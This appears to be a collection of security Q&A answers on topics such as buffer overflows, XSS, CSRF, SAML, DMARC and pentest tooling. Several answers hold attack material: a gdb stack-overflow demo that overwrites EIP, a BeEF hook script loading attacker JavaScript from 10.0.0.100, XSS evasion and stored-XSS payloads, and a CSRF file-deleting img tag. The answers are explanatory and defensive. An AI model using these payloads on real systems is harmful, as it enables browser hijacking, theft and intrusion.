Insert string to memory with null character

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(const char *str) {
    char buf[4];
    strcpy(buf,str);
    printf("you entered [%s]\n",buf);
}

int main(int argc, char *argv[]) {
    if(argc != 2) {
        printf("Need an argument\n");
        return 0;
    }
    func(argv[1]);
    return 0;
}

I compiled your code with the following command.

gcc blah.c -o blah

Cracked open gdb.

[ayrx@localhost ~]$ gdb -q blah
Reading symbols from /home/ayrx/blah...(no debugging symbols found)...done.
(gdb) run AAAAAAAAAAAAAAAABBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/fedora/blah AAAAAAAAAAAAAAAABBBB
you entered [AAAAAAAAAAAAAAAABBBB]

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Here is the register dump from gdb.

(gdb) info registers
eax            0x23 35
ecx            0x7fffffde   2147483614
edx            0x0  0
ebx            0x4e735000   1316179968
esp            0xbffff160   0xbffff160
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
eflags         0x10286  [ PF SF IF RF ]
cs             0x73         115
ss             0x7b         123
ds             0x7b         123
es             0x7b         123
fs             0x0          0
gs             0x33         51

As you can see, the eip register has been overwritten with the last 4 Bs from my input.

The final step will be to overwrite the eip register to point to the location of your shellcode. Since your buffer is small, you will have to find some other memory location to stash the shellcode. Overwrite the eip register to point to that location and you have won. I'll leave that part to you.


If malicious code can run in the context of the user, DPAPI provides no protection, since said malicious code can simply ask DPAPI to decrypt it.

The only scenario it protects against, is if the data or disk is stolen, but the password is not known. The password can be reset easily but this makes the DPAPI protected data inaccessible. An attacker would have to crack the password hash from the Windows credential cache, but be aware that this is generally a very do-able task. If you know that this is what you have to do you can probably do it in most cases.

Your real problem is "how to easily manage the KEK".

DPAPI takes care of key management by piggy-backing on the Windows password. You would need a PAM module to do this on Linux, and there isn't one.

You should consider piggy-backing on whatever the user is already using, e.g. OSX Keychain, KDE's KWallet, Gnome's GnomeKeyring etc, which I believe have APIs.

If you were using Python, you should consider something like this:

https://pypi.python.org/pypi/keyring


Nope, I don't think there are any vulnerabilities.

A google search turned up this article from 2005 which suggests that your customers might use the wildcard to generate semi-convincing URLs(e.g. http://barclays.co.uk|snc9d8ynusnes89g8z.domain.com) for phishing attacks. Nevertheless, I dont think its something to worry about.

link : http://news.netcraft.com/archives/2005/03/07/phishers_use_wildcard_dns_to_build_convincing_bait_urls.html


Why is the Wikileaks site still accessible? How come it hasn't been hacked?

Why haven't other foreign powers hacked or DDoS attacked it in the past when it posted information they didn't want public?

Attacking the Wikileaks website to withhold information is ineffective. The site's availability is just not crucial for making the leaks public.

Instead of only hosting the documents centralized on their web servers, Wikileaks follows a different publication approach. Take the latest Vault 7 leak as an example: The documents were first released as an encrypted torrent file, and the key was only made public one day later. Without revealing what the content actually was, Wikileaks made it less likely that someone would interfere with the publication. Furthermore, that made it possible to download the documents without incriminating yourself - because at the time of the release, you wouldn't know that posessing contents of the file might be illegal. Also note that despite being declared the "largest ever publication of confidential documents on the CIA" (8,761 documents), the torrent is just over 500 MB in size that can be quickly shared across the Internet. And even with an ongoing DDoS attack, it would just be a matter of mailing USB sticks to selected journalists. After all, most people read about the leaks in the news rather than searching the archive.

That said, there were indeed lots of DDoS attacks against Wikileaks in the past years. That's why during the attacks around 2010, volunteers have set up hundreds of mirror sites. But today's attacks are more likely a botnet power demonstration rather than a targeted operation to suppress releases.


Where are passwords stored in SAML? On the IdP or on the SP side?

The SP has no knowledge of the password that authenticated the user. All the SP cares about is that an IdP an SP trusts sent it a token that says the user is authenticated. This token is not related to the password in any way. The token is signed by the IdP using a private key, and validated by the SP using the related public key.

Given that, authentication of the user occurs by the IdP. It doesn't have to be a password, but it often is.


A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.

google search link

That being said a reverse shell could be done in many languages.  What your computer science professor is most likely talking about is the ability to upload a file to a web-server and then remotely execute it like a CGI script ... which in turn would give you shell access to the server.

first hit I found on github for php reverse shell
Cheat sheet
of reverse shells in other languages


How do client and server authenticate random number which is sent

There is no authentication at the time the random numbers are sent. Instead the  client and server random are used as part of the string which is signed by by the server as part of the authentication (and also in the string which is signed by the client in mutual authentication).  For this it is not needed that the random numbers are authenticated - all what is needed is that they are not predictable and not determined by only the server (in case of server authentication) or the client (in case of client authentication).


Corelan has a couple of good articles on taking a fuzzing crash through to exploitation :

https://www.corelan.be/index.php/2013/02/26/root-cause-analysis-memory-corruption-vulnerabilities/
and
https://www.corelan.be/index.php/2013/07/02/root-cause-analysis-integer-overflows/

Their methodology appears to be a case of looking at the original seed file that was used to generate the fuzzed message and slowly change it into the fuzzed message to identify which change(s) causes the crash.

Having done, that it is then a case of determining what the application does that causes it to crash by running it with an attached debugger and watching where your change influences the programs behaviour.  With that you are then looking to see what registers you can take hold of (Ultimately trying to overwrite EIP).   Or if it's a heap based crash, can you take overwrite some function pointers so that you could point them to your payload.


On it's face, because it takes encoded characters and is handled by the page code, it gets classified as an XSS vulnerability. This does not mean that it is a XSS vulnerability for your site, but it is suspicious.

As for the process to determine is there is a risk, you need to do a little fuzzing to see how your site responds. XSS fuzzing options abound with a search.


Why shouldn't I run other applications on a Firewall?

The codebase required to run a firewall is tiny.  E.g. stripped down Linux kernel, busybox, ssh and not much else.  I don't have numbers, but I'm guessing it is a tenth the size or less than any GUI movie-playing option you'd be likely to be happy with.  You can easily do GUI management of a firewall without putting a GUI on the firewall itself - just run the GUI elsewhere to design the ruleset and upload it to the firewall.  Or run a minimal web server and management software and use a browser as the GUI.

The larger codebase presents a larger attack surface.  E.g. a nasty attack on any of the packages used in the GUI could be used to get at the whole box.  Many of those attacks don't require an open port.  They could come via viruses in media files, trojans in any of the packages, etc.

In your case you may just not worry about such attacks, which certainly would be harder than a normal open port attack.  But the principle of limiting the attack surface applies for many reasons.

See also

ServerGUI - Community Ubuntu Documentation for more background and details.
Passive and active attacks via X11. Is Wayland any better?
Secure Linux Desktop


How reasonable is blocking IP address for web application

Blocking access by IP address is very common.

The actual process though may be somewhat dependent on what kind of access you are blocking.

In many cases, attacks against web apps will come from automated bots and in this case, generally the source computer has been compromised. So blocking by IP address is perfectly reasonable.

If you are concerned about false positive blocks, you should implement temporary blocks. These block access by IP address for a set period.

Have a look at some of the WordPress security addins for examples. Also check out FAILTOBAN which is an OS level banning tool for Linux.


Is it feasible to create a new key for symmetric encryption for each message rather than negotiating a long lives session?

The main reason is that it isn't necessary: there's no real reason why you would create a new key for each message, because using one key for all messages is perfectly secure with modern encryption algorithms. While you can't use one key for too much data, with AES "too much" is 256 exabytes (that's around 256 million terabytes), which is far more data than you actually end up using a session key for. Using one key for a whole session doesn't make it relevantly easier for an attacker to recover the key, for realistic sessions.

I'm not sure what you mean by "deriving a key using Diffie-Hellman" or "encrypted using RSA," but I assume you mean renegotiating the key every message (i.e. both parties communicate to negotiate a new key; "derive" is an odd word to use, because it generally refers to something computed on one end without having to talk to the other end). Renegotiating a key for every message isn't done because it's a waste of time. Key negotiation takes a few messages back and forth, and is somewhat slow (it involves at least one asymmetric algorithm, and a common trait of asymmetric algorithms is that they're slow).

For deriving keys, while it's possible, there isn't really a need for it, and it again adds complexity. You can't derive your key for a message from the plaintext of that message for obvious reasons (the other end doesn't know that plaintext until it decrypts it with the key). You can derive a unique key for every message from a master key (this is common in payment processing systems), but it's not needed in typical communications, and it isn't done to make it harder to recover a transaction key (it's done so that recovering a transaction key doesn't let you decrypt all transactions).


A useful first step would be to use something like wireshark to see if you actually have high levels of UDP traffic.

If so, it could be real. If not it may well be a false positive, so you'd then need to do some more digging.

Also, try the performance monitor from SysInternals (Process Explorer) - just in case there is an issue with your existing one.


Why is DMARC failing when SPF and DKIM are passing?

DMARC fails since the sender domain according to the From field of the mail header is different to the sender domain in the SMTP envelope (SPF validation) and different to the domain given in the DKIM signature. This means there is no alignment of the From domain with a valid DKIM or SPF - but such an alignment is required for DMARC
 to pass.


Can accounts still be logged onto if Password Caching is not enabled?

is [it] still possible to reset the SAM file or some other method to get onto the computer without accessing the domain?

Of course. If you have physical access to the machine, you always have the ability to reset the local security database with known password values, thus giving yourself access. This is due to the very design of the PC architecture and cannot be changed, no matter what operating system you are using.

But this would be local access to all data stored on the local machine - you would not have any online domain resources available. You would still need valid domain account credentials for that.

The risk for accessing the "data at rest" (i.e. data which is persistent even when the operating system is not running) can be alleviated by using encryption mechanisms which are tied to user input or removable keys (like smartcards) - for example with EFS.


It all depends on your security model, but as Google recently found out, even if you own the link between your servers, you still can't assume that it's secure.

The idea of hardening the edge of your network with appropriate protection and then playing "anything goes" with the internals is a popular tactic, but one which has significant, disastrous security implications. Once your perimiter is breached, you have no protection. And company after company has discovered that a perimiter breach is not as impossible as your network planning diagram would suggest.

Ideally, you should have host-to-host encryption and security, with each node an individually-secured island. Doing this correctly can range anywhere from "expensive and complicated" to "crazy-expensive and mind-blowingly-complicated", but if you design your system right, you should be able to safely expose your entire internal network to the public Internet. Of course, you would never actually do that, but you should be able to. That's defense in depth.


I wrote a series of stored procedures (specifically for MySQL vs. MSSQL) that might be of interest. You can view it at sqlSec.

Keep in mind that it is more a proof of concept using stored procedures to rotate symmetric encryption keys but does provide a transparent encryption/decryption procedure examples in the readme.


What if they entered their email as

"><a href="

which (might) be rendered by the application as

"><a href=".

giving rise to a Stored XSS vulnerability.

To prevent this, the application should URL percent encode and then HTML encode the email value.


Security of Data and Source Code in a 3rd Party Hosting Environment

The security and privacy of your data is something you establish in your contract with the hosting provider.  You decide what needs to be kept secret and from whom, you establish penalties for violations of this trust, and you establish an arbitration method to resolve disputes.  During contract negotiations, your hosting provider is free to accept your terms or to reject them.  Once the contract is signed, it's up to them to live by those terms.

You can also always seek an insurance policy to help protect you in case of a violation, but those probably will not be cheap.

It's hard to determine whether or not a specific hosting provider has a good track record, as those would be resolved in contract arbitration with their clients, and not part of the public record.  You can look at the overall state of violations by browsing a third party's analysis, such as the Verizon Data Breach Report, but the aggregate numbers won't identify specific violators.


Using third party authentication like google/facebook to login to a site, is there any security risk when the site is hacked?

If the application keys is leaked after the website being hacked, the attacker can act on the permissions authorized by you to the targeted site. Like if you have authorized the site to manage your google drive then they can view your google drive so similar abuse can be carried out with facebook and other oauth compliant websites.


Is it reckless to use an Android app to login to a server with SSH?

A SSH or telnet client does not need specific permissions. It only needs to open a socket to a remote server, i.e. similar to a web browser, mail client etc. And network access is not considered a special permission any longer.

This means the use of permissions does not say anything about the security in this case: one could write a SSH client which is secure and does not need special permissions the same as one would be able to write a client which is insecure even though special permissions are required. In fact I would be more suspicious if the client would need special permissions like reading the contacts or location, because none of these is needed inside a SSH client.


The non-compliance of the EU cookie law as a finding in a penetration test report?

I don't know of any technical security impact relating to not adhering to EU cookie laws.

Ultimately I think this is mostly down to the discretion of the assessor and the context of the assessment. Privacy issues are security-adjacent and come with similar PR impacts, and may even be judged to infringe upon the rights of the individual, so I think in some cases such findings may be useful.

For me the question isn't so much whether these things should be reported to the client, as whether or not they should be in the pentest report itself. There are other communications channels that can be used to relay this information. It may well be that this was discussed and the client asked that it be put into the report. It could even be that compliance concerns were one of the key drivers to having the assessment done in the first place. Some scopes explicitly include looking for findings that might embarrass the company or its associates (content injection is a fun one here).

I have reported everything from functionality problems to typos (albeit serious ones with vulgar consequences) to clients when doing pentesting work, when appropriate, because ultimately my job is to help improve their system. I don't think it hurts to include this kind of thing in a report because it can always be removed and filed separately at the client's request.


Accurately mapping networks for purposes of pentesting

Typically for the network identification part of a pen test you will need to use a combination of tools.

nmap is a good start, showing all devices that have a response, along with what ports respond. The fingerprinting functionality nmap brings is also pretty good. Zenmap provides a cool graphical mapping front end, as @TerryChian commented.
p0f does some clever things to get around firewall and router obfuscation of the target OS
scapy also has good network discovery functionality
etherape - haven't used it but had a quick look as per @symcbean's comment. Worth a look to understand each node's purpose.

You may also want to look at SNMP tools to gain extra info on the hosts you find.


Is Windows 7's Remote Assistance feature secure?

According to this, assistance in windows 7 is based on RDP.

http://en.wikipedia.org/wiki/Windows_Remote_Assistance

  In Windows 7, WRA is based on RDP 7 and uses Peer Name Resolution
  Protocol when connecting using the Easy Connect option.

There exists a weakness in win 7 RDP, but its most likely been patched on a updated computer.

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0002

  The Remote Desktop Protocol (RDP) implementation in Microsoft Windows
  XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows
  Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not
  properly process packets in memory, which allows remote attackers to
  execute arbitrary code by sending crafted RDP packets triggering
  access to an object that (1) was not properly initialized or (2) is
  deleted, aka "Remote Desktop Protocol Vulnerability."


Can DNS servers log users requests for commercial use (e.g. track direct access to websites)?

Your browser handles what is sent to the DNS service. It should only send the domain name, not the path or parameters.

The DNS service depends on what you have set in your network settings. It might be OpenDNS or Google, but it might be handled by the DHCP server of your network. In that case the DNS server is probably the router. If the router does not know the ip address of that domain name, it has its own DNS server, probably from the ISP. If that DNS server has no knowledge of that domain, it goes up in the chain until it ends up by requesting the root DNS servers for the ip address of the domain.

Your browser keeps a cache of visited websites. It does not sent out a DNS request everytime you visit a website. The same goes for each DNS server - they all have their cache. Domain names have a TTL setting, which sets how long the domain name should be kept in cache before checking. This is normally 24 hours. So once every 24 hours, the domain name is checked for the proper ip address.

All in all, it looks like they won't be able to see what you do on the web, except that you have visited a particular website that day.


Disable by adding the following lines in your Httpd.conf:

Header unset X-ORACLE-DMS-ECID
Header always unset X-ORACLE-DMS-ECID


Is there any danger in allowing users to host PDF/RTF/DOC files on my web server?

The problem is not that the files could contain exploits, but that they can be made to cause harm when reinterpreted as a different format. For example, someone may upload a file with RTF extension, which is actually a Flash file which is designed to steal cookies or perform CSRF attacks. That's one of the reasons Google hosts all user-provided files on a separate domain, so that the main domain is isolated from such content by same-origin policy.


What factors make Android app code vulnerable to Cross-Site Request Forgery attacks?

An Android client application should not be vulnerable to CSRF attacks (except for a browser application like Chrome, but it is not the application here that is vulnerable, it is the website being browsed).

This is because for an CSRF to succeed, the client needs to be able to send cookies to the vulnerable website. An Android application would only access web services for its own functionality. It should not be possible to view arbitrary websites from within the app in order to visit a malicious website that would trigger any CSRF vulnerability. If there was browsing functionality, the cookies stored for browsing would likely be different to the cookies the app uses to communicate with any API web service. If not, then see above ("it is not the application here that is vulnerable, it is the website being browsed").

In the case of "Wireless File Transfer Pro" it appears that this is not an Android client application, it is a server application running on Android. I'm taking a wild guess that this application allows you to access your phone's content via a web browser over the local network because the example exploit uses a private IP address:

<img src="http://192.168.1.2:8888/fileExplorer.html?action=deleteFile&fileName=test""width="0" height="0" border="0">

The report is saying that the Android hosted web application is vulnerable to CSRF in the same way that a public website would be vulnerable.


I would say a malicious internal actor. Internal actor meaning that he is validly participating in the network, but malicious indicating he's abusing the system.


BloodHound is a tool that includes PowerView to enumerate Active Directory trust relationships as well as every other entity type in an Active Directory: computers, sessions, users, groups, privileged users and groups, etc. It relies on PowerShell for its inputs, but the artifacts can still be gathered on Linux, macOS, and probably other OSes. Instead of text output or regular databases, BloodHound uses the Neo4j graph database to internally explain/explore the relationship mappings. It clearly shows domain relationships to forests as well as forests to other forests.
While it does technically require Domain Users rights, these can be gathered from another perspective, such as chuckle. Linux, like Windows, does not have to be on the domain to connect to assets of a Windows Server Domain (only the target domain and entity must be specified). Typically, one would connect with any smb or ntlm client software (again with the domain and entity, e.g., MYDOMAIN\myusername), but a permanent full-domain relationship (from boot) can be configured for Linux using winbind, sssd, PowerBroker Open, Likewise Software's Likewise Enterprise, Centrify DirectControl, Quest Authentication Services, and probably others. Only winbind and sssd are available as free, open-source software.
A quick way to see domain and forests (including correlation of trust relationships) with no authentication or exploitation -- assuming your Linux distro supports these packages -- is to install sssd with samba, samba-common, realmd, and adcli. If all are functional, then it may be as simple as (the braces {} denote that the arguments are optional, the brackets [] indicate that the arguments are required):

realm discover {--verbose} {--server-software=active-directory} {domainname or domain.com}

If you know the domain name (or extract it from the above command when you don't know it), then you can run adcli info to get the closest domain controller, and then run adcli against the domain controller to get the domain-forest info. Once the domain-forest name is known, you can run adcli again to get more information about that forest as well.

adcli info [domain or forest]
adcli info --domain-controller=[dc.domain.example.com]


If your question is: "are there currently known security issues with PHP that can exploit this?" ... consider the scenario where unexpected input could:

make DateTime give out an error or cause an exception that your program isn't handling further down; it could cause wrong output or worse, an HTTP 5xx.
someone maintaining this code after you could use the input in ways you didn't do (yes, this can lead to debates about poor programmers / inattention, but hey it happens more often than you think).

There are security risks every time you use untrusted external input in your code directly. Nasty bugs have a way of turning up at most inconvenient times

Buffer overflows, especially in widely used software like PHP shouldn't be common, but rarer things have happened.
Context escapes could be possible

These don't have to happen with the current version of PHP that you are using / testing with. Where all will your code be deployed? Will older versions or different PHP engines / libraries be used? Will a newer version / engine have an undiscovered bug?

So finally the question will boil down to: What is the compelling reason for you to take this risk - especially when the safer alternative is not expensive (effort or resource-wise)?


(Android) hacking server by a simple socket

You have encountered two "hard" problems: authentication and authorization. There is plenty of information online on thes topic, but in your case I think your problem goes back to the design of the app.

Let us start with two questions:

How do you know whether user is allowed to post a high score? (Authorization)
How do you know the connection to your server comes from an actual game user and not somebody impersonating the game like in your Java example? (Authentication)

Before you try to re-invent the wheel, be aware that there are many libraries that do just that, with the added benefit of being mature, tested, working and well documented.

Not knowing the details of your app, here are a few suggestions:

Let users play in 'solo' mode or in 'online' mode. In the former mode the game is standalone and does not need to make any network connections (good for privacy-aware users). In the latter case users SHALL register with your server.
Once a user is registered (login/password) and you have verified they actually are a "real" user to some extent (e-mail responder, text message, etc.), your server can send back a 'token' to play.
When the app wants to send its high score to your server it MUST authenticate itself by providing the token in a manner similar to what user @mike-mackintosh described in his answer.
All communications to/from should obviously be encrypted with TLS or other forms of strong crypto.
Your app should validate the certificates to avoid man-in-the-middle attacks.

The scenario is simplified: of course an attacker with enough resources could register a fake account, reverse engineer your app, determine the message to use and send bogus data to your server. To prevent it you'll need to ask the platform to verify that the app hasn't been tampered with, which in turn means extending the chain of trust to the operating system running the app, and so on. In the end it gets complicated (ever heard of "trusted computing" and digital rights management?) and depends on the value you're trying to protect.

Another avenue of research could be some form of server-side validation. For example, every time a user posts a score higher than X, they must also supply "proof" that they unlocked a certain achievement e.g. a random string that is saved in the user profile when they reach a specific point in the game. In this case you can double-check server-side that the user did actually pass the previous achievements earlier on.

You can spice things up furtner by generating the 'level' tokens by combining the phone's IMEI with a random key and using some form of public key encryption so that each user is tied to their phone. Which would work, unless somebody were using a custom ROM for android that allows tweaking the phone's IMEI, and so on.


How can I argue against: "System is unhackable so why patch vulnerabilities?"

The trouble with the situation (as you are reporting it) is that there are a lot of assumptions being made with a lot of opinions. You have your opinions and you want them to share your opinions, but they have their own opinions.

If you want to get everyone to agree to something, you need to find common ground. You need to challenge and confirm each assumption and find hard data to support your opinion or theirs. Once you have common ground, then you can all move forward together.

You have whitelisting: great, what does that mean? Are there ways around it? Can a whitelisted application be corrupted?
What does the firewall do? How is it configured? Firewalls mean blocked ports, but they also mean allowed ports. Can those allowed ports be abused?
No one has access? Who has access to the device? Are you trusting an insider or the ignorance of a user to keep it secure?
What happens if someone gets local access to the device? How likely is that?

As an information security professional, your job is not to beat people over the head with "best practices" but to perform risk analyses and design a way forward that limits risk under the risk threshold in a cost-effective way. You have to justify not employing best practices, but if the justification is valid, then it's valid.


GET with additional parameters leads to "code injection" in html displayed

XSS can be very dangerous in many ways.

For example if I inject the following bit of XSS into your code, all clients viewing this code with Javascript enabled would become a zombie in my BEEF-Framework(Browser Exploitation Framework):

<script src='http://10.0.0.100/beef/hook/beefmagic.js.php'></script>

Once anyone browse a page with that script inclusion in it, the framework automatically lets me know and basically lets me very easily choose between a toolbox of nasty stuff. To name some, which all can be set to autorun when new zombie registers:

Browser exploitation modules (even integrated with Metasploit)
Metasploit autopwn (yepp.. one click one pwn)
Port scanning LAN
Tor detection
Keylogging
See what the user sees functionality
Visited pages bruteforcing
Clipboard theft
Detect plugins

XSS can indeed be very dangerous!

UPDATE: In your specific situation it looks to me like your looking at a non persistent XSS vulnerability. This means that in order for this exploit to affect other users, the attackers would have to distribute the URL to unsuspecting victims for them to load it. This is however not an uncommon sight.


How much programming knowledge do I need to enter the security field?

It largely depends what you want to do in the field  of information security. We can devide infosec into two parts:

soft security
technical security

Soft security is less technical and requires you to understand the concepts of information systems but does not require you to be an ace in them. It's mostly compliance, IT Security strategy, management and policy making.

With technical security you dive a little bit deeper into the rabbit hole. There are two different parts, the defensive part which is firewalling, IPS, IDS, incident response, forensics,... and an offensive part which is more related to Attack & Penetration testing (for which you do require some programming skills).

My 2c To be honest,  if you are already writing basic code at 16 years old, especially in different languages, then that is very good. You will progress quite well. Do note that for most parts you will need to have knowledge about other parts of computer science. Most of this is covered by either College or University Computer Science programs. They cover introduction to operating systems, networks, cryptography, programming,... So I would say, keep at it, broaden your knowledge and learn. You're on the right track :)

If you haven't written a decent program, write one. Start with something simple like a game of hangman and progress further to some more complex things. Don't be afraid of making mistakes, because you learn the most from them.


How to implement ECDHE-RSA-AES256-GCM-SHA-2 communication in OpenSSL?

Do you want to link libssl from openssl into your server and your client executables to have a TLS server and TLS client with hardcoded TLS version (1.2) and hardcoded cipher suite (TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) and I guess a hardcoded pinned certificate?

I suggest you use something like libcurl in your client, which is higher level than libssl. It uses libssl but does most of the work for you.

I suggest you look at the code of nginx to see how to do a TLS server using openssl. It has some code you don't need because it handles more features than you need, but it's a start. Also you should decide to only use openssl 1.0.2, which removes a bunch of code to support older versions.

If you produce libssl and libcrypto object code to link into your executables, you can and should avoid bundling a lot of the code that is compiled by default but not used by your application. So don't compile md5 and sha1 (you'll only use sha256 certificates). Don't compile any ciphers other than AES. Don't compile any elliptic curves other than P-256 (or 25519).

Alternatively, you can bundle shared libraries produced with default compilation flags, but that means a lot more code that might run.


You cannot detect a router using a port scan since not all routers expose ports. Routers are used for routing IP packets at Layer 3 of the OSI model and are used to bridge two different computer networks.

You can detect a router by doing what the traceroute command does.

Assuming you know what the IP address of the target router is then you would Send a ICMP Echo message with a TTL value of one to a destination IP that you suspect is on the other side of the network as the target router. If you get a ICMP Time Exceeded reply back from the IP of the target router, then you know it is a router. You might need to do this with some trial and error as you might not know the IP addresses on the other side of the router.

You can easily test this using the traceroute command against a target router then mimic the same behavior using the Scapy API to send ICMP Echo messages with TTL of one and test it out.


There are just about 4,294,967,296 available IPv4 addresses on the Internet. That's not that much and with some Bots they attack the whole IPv4 address space randomly (Incrementing the IP or just try and error). In some cases they find a machine which is bad configured or outdated which makes them attackable with well known exploits also known as CVE's. If an attack is successful they can do whatever they want with the machine like integrating them into a botnet or other bad things and move on to the next address. With IPv4 that's easy but not with IPv6. If you want to minimize your attacking surface try to switch to version 6. It's harder to find some machines with so much more addresses available. I got also much attacks every day on my router. That's why it's so important to update your network gateway or other machines.


Embedded system - is it a good idea to run the user application as root?

Should I make the application run as its own user with restrictions?

Yes!


Secure in the general sense that a MITM (or similar) attack couldn't
  successfully get the data from the file the user uploaded on the
  client-side

MitM is not possible in such a scenario as the file never leaves the client so the attacker cant intercept it. However, an attacker with Man-in-the-Middle capabilities could still intercept your JavaScript code in transmission, so it is highly recommended to use HTTPS everywhere.

  The website is written entirely in JavaScript to ensure it's purely
  client-side

Well if there is no server side processing you have greatly reduced the attack surface.There is also no user base(cookies,jwt) i assume so an attacker cant target that either.The only thing i can think of is cross site scripting.An attacker could inject malicious javascript and then wait for the user to upload something,when the victim does he can simply retrieve that file.

Also i might add from androl's comment that you could also be "hacked" via vulnerability you introduce by using any piece of program that is vulnerable.But i wont comment on that.Always be updated and informed to prevent from such


Revealing IP of an email recipient using remote PHP script or pixel tracking

He uses a proxy website

An IP address lookup will reveal the exit node for that website proxy, e.g. the IP address of their server they connect to the IP address lookup PHP script.

(Client)---(Web proxy)---(Web proxy/exit node)---(Web server)

  He uses a proxy through browser settings

The revealed IP address will be the proxy server. However, depending upon whether a transparent, anonymous or elite proxy was used will determine if the proxy server forwarded the remote address (your IP real IP address) within the packet header.

Also, you should review the proxy server types (FTP, HTTP, HTTPS, SOCKS4, SOCKS4A and SOCKS5). An HTTP proxy server can only serve HTTP content via port 80. So, if you connect to an HTTPS website, your real IP address will be exposed. However, using any SOCKS proxy server would server content via any usable port.

(Client)---(SOCKS5 proxy)---(Web server)

--

Exposing the real IP address because of using HTTP proxy to connect to an HTTPS server.

(Client)---(HTTP proxy)---(HTTPS web server)

  He uses TOR browser bundle to access Protonmail hidden service

The Tor browser bundle is configured to prevent leaks like I described above, let alone protects against DNS and WebRTC leaks (by disabling). So, the exit node for the web server it accesses will be the IP address you view. Because of the Tor client changing circuits for different websites, the exit node for ProtonMail.com will be different for IPChicken.com. Hence, a different IP address.

(Client)---(Tor entry)---(Tor relay)---(Tor exit [IP address not static])---(Web server)


Access via http to other protocols and ports!

Very possible. This is why a firewall alone is not total security. For instance, if you allow port 80, but do not enforce only HTTP on port 80, then the port could be used for any type of traffic (ssh, irc, etc). All you need is a server on the other side of the firewall to re-route the traffic to the expected port on another server, or process the traffic itself.

Ports do not limit the traffic to a certain protocol, they only provide convenience to standardization for expectations.


RESTful services are "stateless", except when it comes to authentication.

Authentication is a state that cannot be avoided and so it is allowed in a RESTful design.  In RESTful services, this state is often implemented as a authentication token or in the case of OAuth: an authentication-bearer token.  This token should be unknown to the attacker and is therefore: a suitable CSRF synchronization token.

After all if the attacker knew the authentication token, he wouldn't need CSRF to access the API, but he could.


EFS certificate expired and Root CA offline

Unfortunately I don't know the answer to the first half of your question.  I believe the answer is that the client will enroll with a different CA for a new EFS cert, but I'm not certain if it will use the same key pair for that renewal or generate a new key pair.

Regardless of specifics, the client won't discard the old EFS certificate and key when it receives a new one.  They will stay in the local key store and still be accessible when the user attempts to access any previously encrypted files.  I believe any time an encrypted file is accessed that EFS will update the associated file encryption key (FEK) entry with the new cert and/or private key.  This is something you could test by setting up this scenario and seeing what cert thumbprints are associated with the file before and after.


I would personally probably sign my new public key with the old private key and send it to my friends with an e-mail explaining the change.  They could then verify I was the holder of the previous key and are made aware of the change.  I'd then post a revocation of the old certificate and include the details of the new one if supported.  (I'm not that particularly familiar with PGP, just general PKI.)


Why is social engineering often excluded from bug bounties?

Because Human Factor vulnerabilities are complex, undefined, non-linear, and often not repeatable in a predictable way. Being able to successfully soceng one person is not enough for an organisation to use as a basis for action. In short, if you could do a soceng test, the results would not be useful.
SQLi on a web form, on the other hand, is simple, defined, linear, and the results are repeatable.
Bug bounties are for technical issues, not "all possible issues that could possibly go wrong".
SocEng also creates massive liabilities that include the individual, and that brings in a host of other issues. How far do you go? How much personal information do you gather and weaponise? How do you get permission from the person and still keep the test legitimate? Permission alone places this activity beyond a simple bug bounty program.
Testing Human Factor vulnerabilities has to be done carefully, by professionals who know what they are doing, and the scope is very tightly defined. That's why soceng tests tend to keep to phishing simulations; it's very complex and there are a lot of side factors to take into account. It's not something for some random bug bounty tester to go mucking around with.


Can SSL requests be proxied by issuing a second certificate?

This is exactly why I got so pissed off at Bank of America when they sent out a link to myfraudprevention.com when they thought my account was compromised.  SSL only works to verify that some trusted third party has validated that the website being visited belongs to the name of the URL being visited.  If you sent someone to your own website and that website had a certificate, you could still make the site look like whatever you wanted, including a phishing site pretending to be some other organization.

All SSL would care about is that you are actually the owner of charliesbank.com.  Bank of America was literally training their users to fall victim to phishing in an e-mail designed to help stop fraud...

User training is the only way to prevent this currently.  If you actually check the details of the certificate being presented, it should tell you more details about the organization that the certificate is issued to.  If the SSL certificate has Extended Validation and is the organization you are wanting to talk to, then it means that some certificate authority has looked in to them and determined they are the organization they claim to be, but currently it is on the user to understand how this process works and do the verification themselves.  It is also on the user to check the URL to which they are connected.

There probably isn't a whole lot that can be done to improve this either as there is no way for the computer to know that the user really wanted bobsbank.com but visited charliesbank.com.  The icon could be replaced with something that shows more details about the certificate, but in general, this just causes more confusion for most users that don't understand how SSL works.


How to ensure that files uploaded by users do not contain any Javascript

You should not be attempting to do this as there is no way you will detect all malicious script. There are various ways of hiding it as it isn't all nicely presented within <script> tags. Take this one for example:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Check out the XSS Filter Evasion Cheat Sheet for some other examples.

If you are displaying the uploaded files in HTML, then you should set a Content Security Policy to prevent inline JavaScript and CSS from running. (Using CSS it is possible to embed JavaScript. Some versions of Internet Explorer support this)

The CSP can prevent inline script, but allow script to run in external js files from your server or from trusted sources (such as Google CDN).

You would need to make sure that you validate that the browser supports CSP first (you could implement a test for this in a page before displaying the content), and you could do this in combination with a HTML sanitizer that processes the page content only on output to the browser. This will be a belt and braces approach. You should use a well tested solution for the sanitization, such as OWASP AntiSamy. Vulnerabilities have been found in older versions of most sanitizers (even this one), but using it in combination with a CSP would prevent most attacks as this would give you the window of time to patch to the latest version.

The other option would be to add the Content Disposition header to any served content, so that it would be downloaded to the user's machine rather than displaying in a browser in the context of your domain. Any code running in the context of your domain can take advantage of the Same Origin Policy to attack users viewing the content. This would not be possible offline (Internet Explorer gives a warning message with confirmation prompt, and browsers such as Chrome and Firefox treat the file system as the null origin to stop the script accessing online content).


Account verification emails with links vs codes

The overall goal is to verify that a user can be reached through the email address.

This is done by creating a token, and any way of delivering that token back to your server will do, whether it is having the user click a link or copy/paste (or retype) a code.

Since your list includes password resets and email resets as reasons why you might send a token, keep in mind that these have additional concerns beyond simply verifying that an email will reach the user.  Attackers may try to guess the tokens.

Longer tokens may be more difficult for an attacker to guess, but users may be less willing to type them.

